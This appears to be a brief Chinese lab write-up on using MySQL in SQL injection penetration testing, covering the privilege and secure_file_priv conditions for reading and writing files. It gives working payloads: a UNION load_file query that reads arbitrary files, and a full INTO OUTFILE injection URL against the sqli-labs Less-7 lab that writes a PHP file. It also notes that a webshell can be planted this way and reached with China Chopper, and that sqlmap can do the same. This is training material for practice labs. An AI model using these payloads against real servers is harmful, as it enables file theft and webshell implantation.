mysql数据库在渗透测试过程中能够使用的功能比较多,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够)
读取前提
- 用户权限足够高
- secure_file_priv 这个参数不为NULL
默认情况下secure_file_priv为NULL
在MySQL-ini中加入secure_file_priv函数
在打开命令行查看,引进打开了
读取文件select load_file(“c:\xxxx”);
知道绝对路径就可以读取任意文件
union select 1,load_file(“c:\flag.txt”),3 – qwe
写文件
写入之前需要配置一个内容,开启全局的general_log,如果没开启写入的文件就会失败
靶场sqli 7
into outfile ‘C:\xxx\sss\xx\1.php’
在输入点写入phpinfo
http://192.168.127.128/sqli-labs-master/Less-7/?id=-1')) union select 1,'<?php phpinfo();?>',3 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\1.php' -- qwe
执行语句less-7里面就会写入一个1.php
也可以写入一句话木马,使用中国菜刀连接
利用sqlmap进行读写文件
读取文件
成功读出文件
读出的文件
c盘的flag
写文件
把本地C盘的1.txt,写到目标C盘